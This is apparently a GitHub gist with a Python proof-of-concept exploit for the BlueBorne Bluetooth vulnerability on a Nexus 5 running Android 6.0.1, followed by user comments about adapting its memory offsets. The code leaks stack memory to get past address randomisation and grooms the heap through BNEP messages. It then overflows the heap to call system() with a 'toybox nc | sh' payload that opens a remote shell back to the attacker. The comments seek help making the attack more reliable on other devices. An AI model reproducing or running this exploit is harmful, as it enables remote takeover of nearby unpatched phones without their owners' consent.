Blueborne RCE PoC - Nexus5 6.0.1

blueborne-nexus5.py

import os
import sys
import time
import struct
import select
import binascii

import bluetooth
from bluetooth import _bluetooth as bt

import bluedroid
import connectback

from pwn import log

# Listening TCP ports that need to be opened on the attacker machine
NC_PORT = 1233
STDOUT_PORT = 1234
STDIN_PORT = 1235


# Exploit offsets work for these (exact) libs:

# bullhead:/ # sha1sum /system/lib/hw/bluetooth.default.so
# 8a89cadfe96c0f79cdceee26c29aaf23e3d07a26  /system/lib/hw/bluetooth.default.so
# bullhead:/ # sha1sum /system/lib/libc.so
# 0b5396cd15a60b4076dacced9df773f75482f537  /system/lib/libc.so

# For Pixel 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 - 56 # system + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 - 608 # eventfd_write + 28 + 1

# Nexus 5 6.0.1
LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 + 1 # system + 1
LIBC_SOME_BLX_OFFSET = 0x5825b

# For Nexus 5X 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1

# Aligned to 4 inside the name on the bss (same for both supported phones)
#BSS_ACL_REMOTE_NAME_OFFSET = 0x202ee4
#BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x14b244

# Nexus 5 6.0.1
BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c
BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x144d80

MAX_BT_NAME = 0xf5

# Payload details (attacker IP should be accessible over the internet for the victim phone)
SHELL_SCRIPT = b'toybox nc {ip} {port} | sh'


PWNING_TIMEOUT = 3
BNEP_PSM = 15
PWN_ATTEMPTS = 1
LEAK_ATTEMPTS = 1


def set_bt_name(payload, src_hci, src, dst):
    # Create raw HCI sock to set our BT name
    raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
    flt = bt.hci_filter_new()
    bt.hci_filter_all_ptypes(flt)
    bt.hci_filter_all_events(flt)
    raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)

    # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
    raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
    raw_sock.close()
    #time.sleep(1)
    time.sleep(0.1)

    # Connect to BNEP to "refresh" the name (does auth)
    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.bind((src, 0))
    bnep.connect((dst, BNEP_PSM))
    bnep.close()

    # Close ACL connection
    os.system('hcitool dc %s' % (dst,))
    #time.sleep(1)


def set_rand_bdaddr(src_hci):
    addr = ['%02x' % (ord(c),) for c in os.urandom(6)]
    # NOTW: works only with CSR bluetooth adapters!
    os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' %
              (src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0]))
    final_addr = ':'.join(addr)
    log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr))
    #time.sleep(1)
    while bt.hci_devid(final_addr) < 0:
        time.sleep(0.1)
    return final_addr


def memory_leak_get_bases(src, src_hci, dst):
    prog = log.progress('Doing stack memeory leak...')

    # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack.
    result = bluedroid.do_sdp_info_leak(dst, src)
    #print("Leak: %s" % result) # Debug, show leak array

    # Calculate according to known libc.so and bluetooth.default.so binaries
    #likely_some_libc_blx_offset = result[-3][-2]
    #likely_some_bluetooth_default_global_var_offset = result[6][0]

    # Nexus 5 6.0.1
    likely_some_libc_blx_offset = result[6][1]
    likely_some_bluetooth_default_global_var_offset = result[10][7]

    # Show leak address
    log.info("LIBC  0x%08x" % likely_some_libc_blx_offset)
    log.info("BT    0x%08x" % likely_some_bluetooth_default_global_var_offset)


    libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET

    bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET

    log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base))

    # Close SDP ACL connection
    os.system('hcitool dc %s' % (dst,))
    time.sleep(0.1)

    prog.success()
    return libc_text_base, bluetooth_default_bss_base


def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
    # Gen new BDADDR, so that the new BT name will be cached
    src = set_rand_bdaddr(src_hci)

    # Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
    # 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
    # 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
    #payload = struct.pack('<III', 0x41411722, 0x41414141, system_addr) + b'";\n' + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'

    # x -> payload address (name has 4 bytes of padding)
    x = acl_name_addr+4

    shell_addr = x+24 # SHELL SCRIPT address
    ptr0 = x+16  -4 # points to ptr0+4 (ptr1)
    ptr1 = x+8   -8 # points to ptr1+8 (ptr2)
    ptr2 = x+20 -28 # points to ptr2+28 (system_addr)

    #payload = 'A'+ struct.pack('<IIIIII', shell_addr, 0x41414141, ptr2, 0x42424242, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
    payload = 'A'+ struct.pack('<IIIIII', shell_addr, ptr1, ptr2, ptr0, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)

    log.info("shelladdr 0x%08x" % shell_addr)
    log.info("ptr0      0x%08x" % ptr0)
    log.info("ptr1      0x%08x" % ptr1)
    log.info("ptr2      0x%08x" % ptr2)
    log.info("system    0x%08x" % system_addr)

    log.info("PAYLOAD %s" % payload)

    assert len(payload) < MAX_BT_NAME
    assert b'\x00' not in payload

    # Puts payload into a known bss location (once we create a BNEP connection).
    set_bt_name(payload, src_hci, src, dst)

    prog = log.progress('Connecting to BNEP again')

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.bind((src, 0))
    bnep.connect((dst, BNEP_PSM))

    prog.success()
    prog = log.progress('Pwning...')

    # Each of these messages causes BNEP code to send 100 "command not understood" responses.
    # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
    # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
    # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
    for i in range(20):
        bnep.send(binascii.unhexlify('8109' + '800109' * 100))

    # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
    # This is highly likely to fully overflow over instances of "list_node_t" which is exactly
    # 8 bytes long (and is *constantly* used/allocated/freed on the heap).
    # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
    # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
    for i in range(1000):
        # If we're blocking here, the daemon has crashed
        _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
        if not writeable:
            break
        bnep.send(binascii.unhexlify('810100') +
                  struct.pack('<II', 0, ptr0))
    else:
        log.info("Looks like it didn't crash. Possibly worked")

    prog.success()

def main(src_hci, dst, my_ip):
    os.system('hciconfig %s sspmode 0' % (src_hci,))
    os.system('hcitool dc %s' % (dst,))

    sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT)

    for i in range(PWN_ATTEMPTS):
        log.info('Pwn attempt %d:' % (i,))

        # Create a new BDADDR
        src = set_rand_bdaddr(src_hci)
        #set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search

        # Try to leak section bases
        for j in range(LEAK_ATTEMPTS):
            libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
            if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
                break
        else:
           assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?"

        system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base
        acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base
        assert acl_name_addr % 4 == 0
        log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr))

        pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
        # Check if we got a connectback
        readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT)
        if readable:
            log.info('Done')
            break

    else:
        assert False, "Pwning failed all attempts"

    connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT)


if __name__ == '__main__':
    main(*sys.argv[1:])

I also used 0x3ea04(with success to find) and 0x20450c(without success to find) and 0x5825b(without full understanding why exactly 58(not 57 or 59). I only changed last 2 digits in 0x144d80 (I used 0x144d7c with I hope full understanding why 144) to meat the demand of 216 line. I fink that 0x5825b and 0x144d7c are near the sizes of libc.so and bluetooth.default.so .
P.S. It works only sometimes by me. What exactly changes did you?

@sergeyzapor thank you! Yeah, I'm using the exactly the same number. I found 0x3ea04 using r2. I figured out why uses 0x144d7c and 0x5825b, it is the absolute offset in the libc.so and bluetooth.default.so (you get it by using the leaked address minus the beginning address of the corresponding libc.so and bluetooth.default.so, then you got the absolute offset). Although how did he figure out to use result[6][1] and result[10][7].

However, I do not know how did he calculate the BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c. There is no enough information in the post. I thought it is related to:

x = acl_name_addr+4
shell_addr = x+24 # SHELL SCRIPT address
ptr0 = x+16  -4 # points to ptr0+4 (ptr1)
ptr1 = x+8   -8 # points to ptr1+8 (ptr2)
ptr2 = x+20 -28 # points to ptr2+28 (system_addr)

But I could not figure out how exactly he 0x20450c. Also, I'm very confused by the calculation such as, acl_name_addr+4 and x+24 and x+16 -4

I made the attack work twice in the last 3 hours. It is not very reliable at all. I doubt it is due to the wrong BSS_ACL_REMOTE_NAME_OFFSET in my case because I'm pretty sure the rests are correct. But I'm not sure how to get it right. I used the set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) function and GDB-ARM-PEDA I found the address for "TESTTESTTESTTEST" is 0xb3a9b31f in my testing runtime. But I do not know how to calculate the offset correctly.

@jesux can you please provide some insight? Thank you!

@danielwangksu Can you describe in details how you found 0xb3a9b31f?

Here is my experience exploiting BlueBorne on unpatched Android 7.1.2 - https://github.com/marcinguy/android712-blueborne/blob/master/README.md

anyone found the way on how to calculate BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c ?

i got the hexdump from peda-arm, but i can't tell how BSS_ACL_REMOTE_NAME_OFFSET is calculated... i hope, that anyone can help and explain, how to calculate BSS_ACL_REMOTE_NAME_OFFSET !